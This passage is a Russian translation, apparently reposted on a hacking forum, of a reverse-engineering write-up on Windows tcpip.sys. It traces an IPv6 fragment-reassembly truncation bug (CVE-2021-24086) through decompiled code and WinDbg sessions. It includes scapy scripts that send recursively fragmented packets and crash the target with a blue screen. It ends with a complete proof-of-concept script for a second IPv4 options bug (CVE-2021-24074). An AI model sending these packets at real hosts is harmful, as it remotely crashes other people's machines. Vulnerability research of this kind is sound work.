if ( CurrentReassembly->Iface == Iface
&& CurrentReassembly->Identification == Identification
&& memcmp(&CurrentReassembly->Ipv6.src.u.Byte[0], &Pkt->src.u.Byte[0], 16) == 0
&& memcmp(&CurrentReassembly->Ipv6.dst.u.Byte[0], &Pkt->dst.u.Byte[0], 16) == 0 )
{
break;
}
}
// ...
return CurrentReassembly;
}
C:Copy to clipboard
Reassembly_t *IppCreateInReassemblySet(
PKSPIN_LOCK SpinLock, void *Src, __int64 Iface, __int64 Identification, KIRQL NewIrql
)
{
Reassembly_t *Reassembly = IppCreateReassembly(Src, Iface, Identification);
if ( Reassembly )
{
IppInsertReassembly((__int64)SpinLock, Reassembly);
KeAcquireSpinLockAtDpcLevel(&Reassembly->Lock);
KeReleaseSpinLockFromDpcLevel(SpinLock);
}
else
{
KeReleaseSpinLock(SpinLock, NewIrql);
}
return Reassembly;
}
2 - Теперь, когда у нас есть структура Reassembly, основная функция хочет выяснить, где текущий фрагмент вписывается в общий повторно собранный пакет. Reassembly отслеживает фрагменты с помощью различных списков. Он использует ContiguousList, который связывает фрагменты, которые будут смежными в повторно собранном пакете. IppReassemblyFindLocation - это функция, которая, кажется, реализует логику, чтобы выяснить, где подходит текущий фрагмент.
2.1 - Если IppReassemblyFindLocation возвращает указатель на начало ContiguousList, это означает, что текущий пакет является первым фрагментом. Здесь функция извлекает и отслеживает нефрагментируемую часть пакета. Он хранится в буфере пула, на который есть ссылка в структуре Reassembly.
C:Copy to clipboard
if ( ReassemblyLocation == &Reassembly->ContiguousStartList )
{
Reassembly->NextHeader = Fragment->nexthdr;
UnfragmentableLength = LOWORD(Packet->NetworkLayerHeaderSize) - 48;
Reassembly->UnfragmentableLength = UnfragmentableLength;
if ( UnfragmentableLength )
{
UnfragmentableData = ExAllocatePoolWithTagPriority(
(POOL_TYPE)512,
UnfragmentableLength,
'erPI',
LowPoolPriority
);
Reassembly->UnfragmentableData = UnfragmentableData;
if ( !UnfragmentableData )
{
// ...
goto Bail_0;
}
// ...
// Copy the unfragmentable part of the packet inside the pool
// buffer that we have allocated.
RtlCopyMdlToBuffer(
FirstNetBuffer->MdlChain,
FirstNetBuffer->DataOffset - Packet->NetworkLayerHeaderSize + 0x28,
Reassembly->UnfragmentableData,
Reassembly->UnfragmentableLength,
v51);
NextHeaderOffset = Packet->NextHeaderPosition;
}
Reassembly->NextHeaderOffset = NextHeaderOffset;
*(_QWORD *)&Reassembly->Ipv6 = *(_QWORD *)Packet->Ipv6Hdr;
}
На этом этапе мы хорошо понимаем, какие структуры данных используются для отслеживания групп фрагментов и того, как и когда начинается повторная сборка. Мы также прокомментировали и доработали различные поля структуры, про которые мы говорили в начале процесса; это очень полезно, потому что теперь мы можем понять, как исправить уязвимость:
C:Copy to clipboard
void Ipv6pReassembleDatagram(Packet_t *Packet, Reassembly_t *Reassembly, char OldIrql)
{
//...
UnfragmentableLength = Reassembly->UnfragmentableLength;
TotalLength = UnfragmentableLength + Reassembly->DataLength;
HeaderAndOptionsLength = UnfragmentableLength + sizeof(ipv6_header_t);
// Below is the added code by the patch
if ( TotalLength > 0xFFF ) {
// Bail
}
Как это круто верно? Это действительно полезно. Выполнение кучи работы, которая может показаться не такой полезной в начале, но в конечном итоге складывается в полезную работу. Это просто медленный процесс, и к нему нужно привыкнуть; так и делается эта вкусная колбаска.
Не будем забегать вперед, эмоциональные американские горки уже не за горами
Скрываясь на виду
Хорошо - на этом я думаю, что мы закончили с уменьшением масштаба и пониманием общей картины. Мы достаточно хорошо понимаем нашего зверя, чтобы начать возвращаться к нашему BsoD. Прочитав Ipv6pReassembleDatagram несколько раз, я, честно говоря, не мог понять, где может произойти заявленный сбой. Довольно неприятно для мення :/ Вот почему я решил вместо этого использовать отладчик для изменения Reassembly-> DataLength и UnfragmentableLength во время выполнения, чтобы посмотреть, может ли это дать мне какие-либо подсказки. Первый, похоже, ничего не сделал, но второй проверил нашу программу на ошибку с разыменованием NULL, и бинго, которое выглядит как раз тем что нужно!
После тщательного анализа крэша я начал понимать, что потенциальная проблема скрывается на виду у меня на глазах; вот этот код:
C:Copy to clipboard
void Ipv6pReassembleDatagram(Packet_t *Packet, Reassembly_t *Reassembly, char OldIrql)
{
// ...
const uint32_t UnfragmentableLength = Reassembly->UnfragmentableLength;
const uint32_t TotalLength = UnfragmentableLength + Reassembly->DataLength;
const uint32_t HeaderAndOptionsLength = UnfragmentableLength + sizeof(ipv6_header_t);
// …
NetBufferList = (_NET_BUFFER_LIST *)NetioAllocateAndReferenceNetBufferAndNetBufferList(
IppReassemblyNetBufferListsComplete,
Reassembly,
0i64,
0i64,
0,
0);
if ( !NetBufferList )
{
// ...
goto Bail_0;
}
FirstNetBuffer = NetBufferList->FirstNetBuffer;
if ( NetioRetreatNetBuffer(FirstNetBuffer, uint16_t(HeaderAndOptionsLength), 0) < 0 )
{
// ...
goto Bail_1;
}
Buffer = (ipv6_header_t *)NdisGetDataBuffer(FirstNetBuffer, HeaderAndOptionsLength, 0i64, 1u, 0);
//...
*Buffer = Reassembly->Ipv6;
NetioAllocateAndReferenceNetBufferAndNetBufferList выделяет новый NBL под названием NetBufferList. Затем вызывается NetioRetreatNetBuffer:
C:Copy to clipboard
NDIS_STATUS NetioRetreatNetBuffer(_NET_BUFFER *Nb, ULONG Amount, ULONG DataBackFill)
{
const uint32_t CurrentMdlOffset = Nb->CurrentMdlOffset;
if ( CurrentMdlOffset < Amount )
return NdisRetreatNetBufferDataStart(Nb, Amount, DataBackFill, NetioAllocateMdl);
Nb->DataOffset -= Amount;
Nb->DataLength += Amount;
Nb->CurrentMdlOffset = CurrentMdlOffset - Amount;
return 0;
}
Поскольку FirstNetBuffer только что был выделен, он пуст и большинство его полей равны нулю. Это означает, что NetioRetreatNetBuffer запускает вызов NdisRetreatNetBufferDataStart, который публично задокументирован. Согласно документации, он должен выделить MDL с помощью NetioAllocateMdl, поскольку сетевой буфер пуст, как мы упоминали выше. Следует отметить, что количество байтов HeaderAndOptionsLength, передаваемое в NetioRetreatNetBuffer, усекается до uint16_t.
C:Copy to clipboard
if ( NetioRetreatNetBuffer(FirstNetBuffer, uint16_t(HeaderAndOptionsLength), 0) < 0 )
Теперь, когда в NB есть резервное пространство для заголовка IPv6, а также нефрагментируемой части пакета, ему необходимо получить указатель на резервные данные, чтобы заполнить буфер. NdisGetDataBuffer задокументирован для получения доступа к непрерывному блоку данных из структуры NET_BUFFER. Прочитав документацию несколько раз, меня это немного сбило с толку, поэтому я решил, что брошу NDIS в IDA и посмотрю на эту реализацию:
C:Copy to clipboard
PVOID NdisGetDataBuffer(PNET_BUFFER NetBuffer, ULONG BytesNeeded, PVOID Storage, UINT AlignMultiple, UINT AlignOffset)
{
const _MDL *CurrentMdl = NetBuffer->CurrentMdl;
if ( !BytesNeeded || !CurrentMdl || NetBuffer->DataLength < BytesNeeded )
return 0i64;
// ...
При взгляде на начало реализации что-то бросается в глаза. Поскольку NdisGetDataBuffer вызывается с HeaderAndOptionsLength (не усеченным), мы должны иметь возможность выполнить следующее условие NetBuffer->DataLength < BytesNeeded, когда HeaderAndOptionsLength больше 0xffff. Почему так спросишь ты? Возьмем этот пример. HeaderAndOptionsLength - 0x1337, поэтому NetioRetreatNetBuffer выделяет резервный буфер размером 0x1337 байт, а NdisGetDataBuffer возвращает указатель на вновь выделенные данные; работает как положено. Теперь представим, что HeaderAndOptionsLength равен 0x31337. Это означает, что NetioRetreatNetBuffer выделяет 0x1337 (из-за усечения) байтов, но вызывает NdisGetDataBuffer с 0x31337, что приводит к сбою вызова, потому что сетевой буфер недостаточно велик, и мы достигли этого условия NetBuffer-> DataLength < BytesNeeded.
Поскольку считается, что возвращенный указатель не равен NULL, Ipv6pReassembleDatagram продолжает использовать его для записи в память:
C:Copy to clipboard
*Buffer = Reassembly->Ipv6;
Здесь следует сработать багчек. Как обычно, мы можем проверить наше понимание функции с помощью сеанса WinDbg. Вот простой скрипт Python, который отправляет два фрагмента:
Python:Copy to clipboard
from scapy.all import *
id = 0xdeadbeef
first = Ether() \
/ IPv6(dst = 'ff02::1') \
/ IPv6ExtHdrFragment(id = id, m = 1, offset = 0) \
/ UDP(sport = 0x1122, dport = 0x3344) \
/ '---frag1'
second = Ether() \
/ IPv6(dst = 'ff02::1') \
/ IPv6ExtHdrFragment(id = id, m = 0, offset = 2) \
/ '---frag2'
sendp([first, second], iface='eth1')
Посмотрим, как будет выглядеть повторная сборка после получения этих пакетов:
kd> bp tcpip!Ipv6pReassembleDatagram
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff800`117cdd6c 4488442418 mov byte ptr [rsp+18h],r8bkd> p
tcpip!Ipv6pReassembleDatagram+0x5:
fffff800`117cdd71 48894c2408 mov qword ptr [rsp+8],rcx// ...
kd>
tcpip!Ipv6pReassembleDatagram+0x9c:
fffff800117cde08 48ff1569660700 call qword ptr [tcpip!_imp_NetioAllocateAndReferenceNetBufferAndNetBufferList (fffff800
11844478)]kd>
tcpip!Ipv6pReassembleDatagram+0xa3:
fffff800`117cde0f 0f1f440000 nop dword ptr [rax+rax]kd> r @rax
rax=ffffc107f7be1d90 <- this is the allocated NBLkd> !ndiskd.nbl @rax
NBL ffffc107f7be1d90 Next NBL NULL
First NB ffffc107f7be1f10 Source NULL
Pool ffffc107f58ba980 - NETIO
Flags NBL_ALLOCATEDWalk the NBL chain Dump data payload
Show out-of-band information Display as Wireshark hex dump; The first NB is empty; its length is 0 as expected
kd> !ndiskd.nb ffffc107f7be1f10
NB ffffc107f7be1f10 Next NB NULL
Length 0 Source pool ffffc107f58ba980
First MDL 0 DataOffset 0
Current MDL [NULL] Current MDL offset 0View associated NBL
// ...
kd> r @rcx, @rdx
rcx=ffffc107f7be1f10 rdx=0000000000000028 <- the first NB and the size to allocate for itkd>
tcpip!Ipv6pReassembleDatagram+0xd9:
fffff800117cde45 e80a35ecff call tcpip!NetioRetreatNetBuffer (fffff800
11691354)kd> p
tcpip!Ipv6pReassembleDatagram+0xde:
fffff800`117cde4a 85c0 test eax,eax; The first NB now has 0x28 bytes backing MDL
kd> !ndiskd.nb ffffc107f7be1f10
NB ffffc107f7be1f10 Next NB NULL
Length 0n40 Source pool ffffc107f58ba980
First MDL ffffc107f5ee8040 DataOffset 0n56
Current MDL [First MDL] Current MDL offset 0n56View associated NBL
// ...
; Getting access to the backing buffer
kd>
tcpip!Ipv6pReassembleDatagram+0xfe:
fffff800117cde6a 48ff1507630700 call qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff800
11844178)]kd> p
tcpip!Ipv6pReassembleDatagram+0x105:
fffff800`117cde71 0f1f440000 nop dword ptr [rax+rax]; This is the backing buffer; it has leftover data, but gets initialized later
kd> db @rax
ffffc107`f5ee80b0 05 02 00 00 01 00 8f 00-41 dc 00 00 00 01 04 00 ........A.......Click to expand...
Ладно, похоже, у нас есть план - приступим к работе.
Изготовление пакета смерти: погоня за фантомами
Хорошо... отправка пакета с большим заголовком должна быть тривиальной, не так ли? Это то, о чем я думал изначально. Попробовав разные вещи для достижения этой цели, я быстро понял, что это будет не так просто. Главный вопрос - это MTU. По сути, сетевые устройства не позволяют отправлять пакеты размером более ~ 1200 байт. Интернет-контент предполагает, что некоторые карты Ethernet и сетевые коммутаторы позволяют увеличить этот предел. Поскольку я проводил свой тест в своей собственной лаборатории Hyper-V, я решил, что было бы справедливо попытаться воспроизвести разыменование NULL с параметрами, не являющимися параметрами по умолчанию, поэтому я искал способ увеличить MTU на виртуальном коммутаторе до 64 КБ.
Проблема в том, что Hyper-V не позволял мне этого делать. Единственный параметр, который я нашел, позволил мне увеличить лимит примерно до 9 КБ, что очень далеко от 64 КБ, необходимых мне для запуска этой проблемы. В этот момент я почувствовал разочарование, потому что я чувствовал, что я так близок к концу. Несмотря на то, что я читал, что эта уязвимость может быть распространена через Интернет, я продолжал двигаться в этом неправильном направлении. Если пакет можно было поулчить из Интернета, это означало, что он должен был пройти через обычное сетевое оборудование, и пакет размером 64 КБ не мог работать. Но какое-то время я игнорировал эту суровую правду.
В конце концов, я смирился с тем, что, вероятно, иду не в том направлении. Поэтому я пересмотрел свои возможности. Я полагал, что проверка ошибок, которую я запустил выше, не была той, которую я мог бы запустить с пакетами, полученными из Интернета. Возможно, хотя может быть другой путь кода с очень похожим шаблоном (отступление + NdisGetDataBuffer), который приведет к багчеку. Я заметил, что поле TotalLength также немного усекается в функции и записывается в заголовок IPv6 пакета. Этот заголовок в конечном итоге копируется в окончательный пересобранный заголовок IPv6:
// The ROR2 is basically htons.
// One weird thing here is that TotalLength is truncated to 16b.
// We are able to make TotalLength >= 0x10000 by crafting a large
// packet via fragmentation.
// The issue with that is that, the size from the IPv6 header is smaller than
// the real total size. It's kinda hard to see how this would cause subsequent
// issue but hmm, yeah.
Reassembly->Ipv6.length = ROR2(TotalLength, 8);
// B00m, Buffer can be NULL here because of the issue discussed above.
// This copies the saved IPv6 header from the first fragment into the
// first part of the reassembled packet.
*Buffer = Reassembly->Ipv6;Click to expand...
Моя теория заключалась в том, что может быть есть какой-то код, который будет читать этот Ipv6.length (который усечен, поскольку ROR2 ожидает uint16_t), и в результате может произойти что-то плохое. Хотя длина в конечном итоге будет иметь меньшее значение, чем фактический реальный размер пакета; Мне было трудно придумать сценарий, при котором это могло бы вызвать проблемы, но я все еще преследовал эту теорию, поскольку это было единственное, что у меня было.
На этом этапе я начал проверять каждый демультиплексор, который мы видели ранее. Я искал те, которые как-то использовали бы это поле длины, и искал похожие шаблоны NdisGetDataBuffer. Ничего такого я не нашел. Думая, что мне может чего-то не хватать при статическом анализе, я также активно использовал WinDbg для проверки своей работы. Я использовал аппаратные точки останова для отслеживания доступа к этим двум байтам, но без попадания. Всегда. Раздражает.
После нескольких попыток я начал думать, что, возможно, снова двинулся в неправильном направлении. Возможно, мне действительно нужно найти способ отправить такой большой пакет, не нарушая MTU. Но как?
Изготовление пакета смерти: прыжок веры
Хорошо, поэтому я решил начать все заново. Возвращаясь к общей картине, я немного изучил алгоритм повторной сборки, снова изменил его на тот случай, если я где-то пропустил ключ, но ничего не произошло...
Смогу ли я фрагментировать пакет с очень большим заголовком и обманом заставить стек повторно собрать собранный пакет? Ранее мы видели, что можем использовать повторную сборку как примитив для сшивания фрагментов вместе; поэтому вместо того, чтобы пытаться отправить очень большой фрагмент, возможно, мы могли бы разбить большой на более мелкие и сшить их вместе в памяти. Честно говоря, это было похоже на большой прыжок вперед, но, основываясь на моих усилиях по реверс инижинирингу, я действительно не увидел ничего, что могло бы этому помешать. Идея была расплывчатой, но казалось, что стоит попробовать. Но как это на самом деле будет работать?
Присев на минутку, я придумал эту теорию. Я создал очень большой фрагмент с множеством заголовков; достаточно, чтобы вызвать ошибку, если я могу запустить еще одну сборку. Затем я фрагментировал этот фрагмент, чтобы его можно было отправить к цели, не нарушая MTU.
Python:Copy to clipboard
reassembled_pkt = IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
# ....
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xa0)),
]) \
/ IPv6ExtHdrFragment(
id = second_pkt_id, m = 1,
nh = 17, offset = 0
) \
/ UDP(dport = 31337, sport = 31337, chksum=0x7e7f)
reassembled_pkt = bytes(reassembled_pkt)
frags = frag6(args.target, frag_id, reassembled_pkt, 60)
Произойдет повторная сборка, и tcpip.sys построит этот огромный повторно собранный фрагмент в памяти; это здорово, потому что я не думал, что это сработает. Вот как это выглядит в WinDbg:
kd> bp tcpip+01ADF71 ".echo Reassembled NB; r @r14;"
kd> g
Reassembled NB
r14=ffff800fa2a46f10
tcpip!Ipv6pReassembleDatagram+0x205:
fffff801`0a7cdf71 41394618 cmp dword ptr [r14+18h],eaxkd> !ndiskd.nb @r14
NB ffff800fa2a46f10 Next NB NULL
Length 10020 Source pool ffff800fa06ba240
First MDL ffff800fa0eb1180 DataOffset 0n56
Current MDL [First MDL] Current MDL offset 0n56View associated NBL
kd> !ndiskd.nbl ffff800fa2a46d90
NBL ffff800fa2a46d90 Next NBL NULL
First NB ffff800fa2a46f10 Source NULL
Pool ffff800fa06ba240 - NETIO
Flags NBL_ALLOCATEDWalk the NBL chain Dump data payload
Show out-of-band information Display as Wireshark hex dumpkd> !ndiskd.nbl ffff800fa2a46d90 -data
NET_BUFFER ffff800fa2a46f10
MDL ffff800fa0eb1180
ffff800fa0eb11f0 60 00 00 00 ff f8 3c 40-fe 80 00 00 00 00 00 00 `·····<@········
ffff800fa0eb1200 02 15 5d ff fe e4 30 0e-ff 02 00 00 00 00 00 00 ··]···0·········
ffff800fa0eb1210 00 00 00 00 00 00 00 01 ········...
MDL ffff800f9ff5e8b0
ffff800f9ff5e8f0 3c e1 01 ff 61 61 61 61-61 61 61 61 61 61 61 61 <···aaaaaaaaaaaa
ffff800f9ff5e900 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e910 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e920 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e930 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e940 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e950 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
ffff800f9ff5e960 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa...
MDL ffff800fa0937280
ffff800fa09372c0 7a 69 7a 69 00 08 7e 7f zizi··~·Click to expand...
То, что мы видим выше, - это пересобранный первый фрагмент.
Python:Copy to clipboard
reassembled_pkt = IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
# ...
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xa0)),
]) \
/ IPv6ExtHdrFragment(
id = second_pkt_id, m = 1,
nh = 17, offset = 0
) \
/ UDP(dport = 31337, sport = 31337, chksum=0x7e7f)
Это фрагмент длиной 10020 байт, и вы можете видеть, что расширение ndiskd проходит по длинной цепочке MDL, описывающей содержимое этого фрагмента. Последний MDL - это заголовок UDP-части фрагмента. Осталось запустить еще одну пересборку. Что, если мы отправим другой фрагмент, который является частью той же группы; это вызовет еще одну пересборку?
Что ж, давайте посмотрим, работает ли следующее:
Python:Copy to clipboard
reassembled_pkt_2 = Ether() \
/ IPv6(dst = args.target) \
/ IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
/ 'doar-e ftw'
sendp(reassembled_pkt_2, iface = args.iface)
Вот что мы видим в WinDbg:
kd> bp tcpip!Ipv6pReassembleDatagram
; This is the first reassembly; the output packet is the first large fragment
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff805`4a5cdd6c 4488442418 mov byte ptr [rsp+18h],r8b; This is the second reassembly; it combines the first very large fragment, and the second fragment we just sent
kd> g
Breakpoint 0 hit
tcpip!Ipv6pReassembleDatagram:
fffff805`4a5cdd6c 4488442418 mov byte ptr [rsp+18h],r8b...
; Let's see the bug happen live!
kd>
tcpip!Ipv6pReassembleDatagram+0xce:
fffff805`4a5cde3a 0fb79424a8000000 movzx edx,word ptr [rsp+0A8h]kd>
tcpip!Ipv6pReassembleDatagram+0xd6:
fffff805`4a5cde42 498bce mov rcx,r14kd>
tcpip!Ipv6pReassembleDatagram+0xd9:
fffff8054a5cde45 e80a35ecff call tcpip!NetioRetreatNetBuffer (fffff805
4a491354)kd> r @edx
edx=10 <- truncated size// ...
kd>
tcpip!Ipv6pReassembleDatagram+0xe6:
fffff805`4a5cde52 8b9424a8000000 mov edx,dword ptr [rsp+0A8h]kd>
tcpip!Ipv6pReassembleDatagram+0xed:
fffff805`4a5cde59 41b901000000 mov r9d,1kd>
tcpip!Ipv6pReassembleDatagram+0xf3:
fffff805`4a5cde5f 8364242000 and dword ptr [rsp+20h],0kd>
tcpip!Ipv6pReassembleDatagram+0xf8:
fffff805`4a5cde64 4533c0 xor r8d,r8dkd>
tcpip!Ipv6pReassembleDatagram+0xfb:
fffff805`4a5cde67 498bce mov rcx,r14kd>
tcpip!Ipv6pReassembleDatagram+0xfe:
fffff8054a5cde6a 48ff1507630700 call qword ptr [tcpip!_imp_NdisGetDataBuffer (fffff805
4a644178)]kd> r @rdx
rdx=0000000000010010 <- non truncated sizekd> p
tcpip!Ipv6pReassembleDatagram+0x105:
fffff805`4a5cde71 0f1f440000 nop dword ptr [rax+rax]kd> r @rax
rax=0000000000000000 <- NdisGetDataBuffer returned NULL!!!kd> g
KDTARGET: Refreshing KD connection*** Fatal System Error: 0x000000d1
(0x0000000000000000,0x0000000000000002,0x0000000000000001,0xFFFFF8054A5CDEBB)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.A fatal system error has occurred.
nt!DbgBreakPointWithStatus:
fffff805`473c46a0 cc int 3kd> kc
Call Site
00 nt!DbgBreakPointWithStatus
01 nt!KiBugCheckDebugBreak
02 nt!KeBugCheck2
03 nt!KeBugCheckEx
04 nt!KiBugCheckDispatch
05 nt!KiPageFault
06 tcpip!Ipv6pReassembleDatagram
07 tcpip!Ipv6pReceiveFragment
08 tcpip!Ipv6pReceiveFragmentList
09 tcpip!IppReceiveHeaderBatch
0a tcpip!IppFlcReceivePacketsCore
0b tcpip!IpFlcReceivePackets
0c tcpip!FlpReceiveNonPreValidatedNetBufferListChain
0d tcpip!FlReceiveNetBufferListChainCalloutRoutine
0e nt!KeExpandKernelStackAndCalloutInternal
0f nt!KeExpandKernelStackAndCalloutEx
10 tcpip!FlReceiveNetBufferListChain
11 NDIS!ndisMIndicateNetBufferListsToOpen
12 NDIS!ndisMTopReceiveNetBufferLists
13 NDIS!ndisCallReceiveHandler
14 NDIS!ndisInvokeNextReceiveHandler
15 NDIS!NdisMIndicateReceiveNetBufferLists
16 netvsc!ReceivePacketMessage
17 netvsc!NvscKmclProcessPacket
18 nt!KiInitializeKernel
19 nt!KiSystemStartupClick to expand...
Невероятно! Нам удалось реализовать обсуждаемую идею рекурсивной фрагментации.
Вау, я действительно не думал, что это действительно сработает. Мораль такова: не оставляйте без внимания ни один камешек, следуйте своей интуиции и достигните состояния отсутствия неизвестного.
Вывод
В этом посте я попытался провести вас с собой через свое путешествие по написанию PoC для CVE-2021-24086, настоящей удаленной уязвимости DoS, затрагивающей драйвер tcpip.sys Windows. С нуля до удаленного BSoD. PoC доступен на моем гитхабе здесь: 0vercl0k/CVE-2021-24086.
Я уверен, что я потерял около 99% своих читателей, так как это довольно длинный и непростой пост, но если вы дошли до него, вы должны присоединиться и зависнуть в недавно созданном дневнике реверс-инженера в дискорде : https://discord.gg/4JBWKDNyYs. Мы пытаемся создать сообщество людей, увлекающихся реверс-инженерингом.
Надеюсь, мы также сможем привлечь больше интереса к внешним донатам
И последнее, но не менее важное: особые приветы морим друзьям: @ yrp604, @__ x86 и @jonathansalwan за вычитку этой статьи.
Бонус: CVE-2021-24074
Вот Poc, который я построил на основе высококачественного поста в блоге Армиса:
Python:Copy to clipboard
# Axel '0vercl0k' Souchet - April 4 2021
# Extremely detailed root-cause analysis was made by Armis:
# https://www.armis.com/resources/iot-security-blog/from-urgent-11-to-frag-44-microsoft-patches-critical-vulnerabilities-in-windows-tcp-ip-stack/
from scapy.all import *
import argparse
import codecs
import random
def trigger(args):
'''
kd> g
oob?
tcpip!Ipv4pReceiveRoutingHeader+0x16a:
fffff804`453c6f7a 4d8d2c1c lea r13,[r12+rbx]
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x16e:
fffff804`453c6f7e 498bd5 mov rdx,r13
kd> db @r13
ffffb90e`85b78220 c0 82 b7 85 0e b9 ff ff-38 00 04 10 00 00 00 00 ........8.......
kd> dqs @r13 l1
ffffb90e`85b78220 ffffb90e`85b782c0
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x171:
fffff804`453c6f81 488d0d58830500 lea rcx,[tcpip!Ipv4Global (fffff804`4541f2e0)]
kd>
tcpip!Ipv4pReceiveRoutingHeader+0x178:
fffff804`453c6f88 e8d7e1feff call tcpip!IppIsInvalidSourceAddressStrict (fffff804`453b5164)
kd> db @rdx
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x17d:
fffff804`453c6f8d 84c0 test al,al
kd> r.
al=00000000`00000000 al=00000000`00000000
kd> p
tcpip!Ipv4pReceiveRoutingHeader+0x17f:
fffff804`453c6f8f 0f85de040000 jne tcpip!Ipv4pReceiveRoutingHeader+0x663 (fffff804`453c7473)
kd>
tcpip!Ipv4pReceiveRoutingHeader+0x185:
fffff804`453c6f95 498bcd mov rcx,r13
kd>
Breakpoint 3 hit
tcpip!Ipv4pReceiveRoutingHeader+0x188:
fffff804`453c6f98 e8e7dff8ff call tcpip!Ipv4UnicastAddressScope (fffff804`45354f84)
kd> dqs @rcx l1
ffffb90e`85b78220 ffffb90e`85b782c0
Call-stack (skip first hit):
kd> kc
# Call Site
00 tcpip!Ipv4pReceiveRoutingHeader
01 tcpip!IppReceiveHeaderBatch
02 tcpip!Ipv4pReassembleDatagram
03 tcpip!Ipv4pReceiveFragment
04 tcpip!Ipv4pReceiveFragmentList
05 tcpip!IppReceiveHeaderBatch
06 tcpip!IppFlcReceivePacketsCore
07 tcpip!IpFlcReceivePackets
08 tcpip!FlpReceiveNonPreValidatedNetBufferListChain
09 tcpip!FlReceiveNetBufferListChainCalloutRoutine
0a nt!KeExpandKernelStackAndCalloutInternal
0b nt!KeExpandKernelStackAndCalloutEx
0c tcpip!FlReceiveNetBufferListChain
Snippet:
__int16 __fastcall Ipv4pReceiveRoutingHeader(Packet_t *Packet)
{
// ...
// kd> db @rax
// ffffdc07`ff209170 ff ff 04 00 61 62 63 00-54 24 30 48 89 14 01 48 ....abc.T$0H...H
RoutingHeaderFirst = NdisGetDataBuffer(FirstNetBuffer, Packet->RoutingHeaderOptionLength, &v50[0].qw2, 1u, 0);
NetioAdvanceNetBufferList(NetBufferList, v8);
OptionLenFirst = RoutingHeaderFirst[1];
LenghtOptionFirstMinusOne = (unsigned int)(unsigned __int8)RoutingHeaderFirst[2] - 1;
RoutingOptionOffset = LOBYTE(Packet->RoutingOptionOffset);
if (OptionLenFirst < 7u ||
LenghtOptionFirstMinusOne > OptionLenFirst - sizeof(IN_ADDR))
{
// ...
goto Bail_0;
}
// ...
'''
id = random.randint(0, 0xff)
# dst_ip isn't a broadcast IP because otherwise we fail a check in
# Ipv4pReceiveRoutingHeader; if we don't take the below branch
# we don't hit the interesting bits later:
# if (Packet->CurrentDestinationType == NlatUnicast) {
# v12 = &RoutingHeaderFirst[LenghtOptionFirstMinusOne];
dst_ip = '192.168.2.137'
src_ip = '120.120.120.0'
# UDP
nh = 17
content = bytes(UDP(sport = 31337, dport = 31338) / '1')
one = Ether() \
/ IP(
src = src_ip,
dst = dst_ip,
flags = 1,
proto = nh,
frag = 0,
id = id,
options = [IPOption_Security(
length = 0xb,
security = 0x11,
# This is used for as an ~upper bound in Ipv4pReceiveRoutingHeader:
compartment = 0xffff,
# This is the offset that allows us to index out of the
# bounds of the second fragment.
# Keep in mind that, the out of bounds data is first used
# before triggering any corruption (in Ipv4pReceiveRoutingHeader):
# - IppIsInvalidSourceAddressStrict,
# - Ipv4UnicastAddressScope.
# if (IppIsInvalidSourceAddressStrict(Ipv4Global, &RoutingHeaderFirst[LenghtOptionFirstMinusOne])
# || (Ipv4UnicastAddressScope(&RoutingHeaderFirst[LenghtOptionFirstMinusOne]),
# v13 = Ipv4UnicastAddressScope(&Packet->RoutingOptionSourceIp),
# v14 < v13) )
# The upper byte of handling_restrictions is `RoutingHeaderFirst[2]` in the above snippet
# Offset of 6 allows us to have &RoutingHeaderFirst[LenghtOptionFirstMinusOne] pointing on
# one.IP.options.transmission_control_code; last byte is OOB.
# kd>
# tcpip!Ipv4pReceiveRoutingHeader+0x178:
# fffff804`5c076f88 e8d7e1feff call tcpip!IppIsInvalidSourceAddressStrict (fffff804`5c065164)
# kd> db @rdx
# ffffdc07`ff209175 62 63 00 54 24 30 48 89-14 01 48 c0 92 20 ff 07 bc.T$0H...H.. ..
# ^
# |_ oob
handling_restrictions = (6 << 8),
transmission_control_code = b'\x11\xc1\xa8'
)]
) / content[: 8]
two = Ether() \
/ IP(
src = src_ip,
dst = dst_ip,
flags = 0,
proto = nh,
frag = 1,
id = id,
options = [
IPOption_NOP(),
IPOption_NOP(),
IPOption_NOP(),
IPOption_NOP(),
IPOption_LSRR(
pointer = 0x8,
routers = ['11.22.33.44']
),
]
) / content[8: ]
sendp([one, two], iface='eth1')
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--target', default = 'ff02::1')
parser.add_argument('--dport', default = 500)
args = parser.parse_args()
trigger(args)
return
if __name__ == '__main__':
main()
Переведено специально для XSS.is
Автор перевода: yashechka
Источник: [https://doar-e.github.io/blog/2021/04/15/reverse-engineering-
tcpipsys-mechanics-of-a-packet-of-the-death-
